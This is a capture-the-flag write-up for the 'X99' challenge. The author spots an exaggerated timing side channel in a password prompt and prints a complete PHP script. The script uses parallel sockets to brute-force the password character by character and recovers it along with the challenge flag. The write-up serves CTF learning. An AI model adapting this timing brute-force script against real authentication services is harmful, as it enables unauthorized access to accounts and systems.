Feb
13

## IFSF CTF #7 (X99) Write-up

this is one of their machines which have very sensitive informations ,
try to get for us the password

208.64.122.27
PORT : 3000

X99 carries a synthetic vulnerability that allows a char-by-char password bruteforce.

### The setup

The service gives us an auth request upon connection:

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ _ _ 99 _________ ______ ______ _ _ _____ ______ ______ \ \ / / | | | | | \ | | | | | | | | | | | | | | \ \ | | >|--|< | | | | | | | |__| | | | | |--| | | | | | | | | |---- /_/ \_\ |_| |_| |_| |_| |_| |_|____ |_| |_| _|_|_ |_| |_| |_|____   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+   Authentication Required Password : pass   Authentication Failed .... Password : _

### The time

The thing that can be noticed, is that it hangs for a while when supplied password starts with ‘w‘:

Authentication Required Password : hello   Authentication Failed .... Password : world *** 5 seconds pass.. *** Authentication Failed ....

Turns out it is a synthetic time-based side channel analogue, with overboosted time delays.
Each matching password letter increases the delay by 5 seconds.

### The exploit

The correct password can be found via bruteforcing password letter-by-letter, and here is a script for that:

<?php function new_socket() { $sock = fsockopen("208.64.122.27", 3000); while (trim(fgets($sock)) != 'Authentication Required'); fread($sock, 11); // Skip 'Password : ' return$sock; }   $charset = str_split("qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890_-.");$sockets = $times = array();$guessed = isset($_SERVER['argv'][1]) ?$_SERVER['argv'][1] : ''; // can resume session if anything goes wrong   while (true) { echo "Guessed '$guessed'\n"; echo " Creating sockets"; foreach ($charset as $letter) {$sockets[$letter] = new_socket(); echo "."; } echo "\n"; echo " Writing passwords"; foreach ($sockets as $letter =>$sock) { fwrite($sock,$guessed . $letter); echo "."; } echo "\n"; echo " Writing \\n's"; foreach ($sockets as $letter =>$sock) { fwrite($sock, "\n");$times[$letter] = microtime(true); echo "."; stream_set_blocking($sock, false); // Turning off blocking for read attempts } echo "\n";   echo "Waiting for response"; while (!empty($sockets)) { foreach ($sockets as $letter =>$sock) { $c = fgetc($sock); if ($c !== false) {$times[$letter] = microtime(true) -$times[$letter]; fclose($sock); unset($sockets[$letter]); echo '.'; } } usleep(10000); } echo "\n\n";   echo "===== Response times\n"; $nextLetter = false; foreach ($times as $letter =>$time) { if ($time > 5 * (strlen($guessed) + 1)) { $nextLetter =$letter; echo "*$letter* - " . round($time) . "\t"; } else { echo "$letter - " . round($time) . "\t"; } } echo "\n\n";   if ($nextLetter === false) { break; } else {$guessed .= $nextLetter; } } echo "\nWork done!\nPassword is:$guessed\n"; ?>

The script utilizes multiple connections to target server so it doesn’t have to wait 5*N seconds for each letter from charset, instead all the charset is tried simultaneously.

Let’s run it:

F:\>d:\php\php_fast.cmd x99.php Guessed '' .............. .............. *** approx. 30 mins later *** .............. Work done! Password is: w3_0wn_7h15_f0r_r34L

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ _ _ 99 _________ ______ ______ _ _ _____ ______ ______ \ \ / / | | | | | \ | | | | | | | | | | | | | | \ \ | | >|--|< | | | | | | | |__| | | | | |--| | | | | | | | | |---- /_/ \_\ |_| |_| |_| |_| |_| |_|____ |_| |_| _|_|_ |_| |_| |_|____   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+   Authentication Required Password : w3_0wn_7h15_f0r_r34L         +-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-   Game Flag : 0xFEFERKJ8389743GH79G6D368GT093   +-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-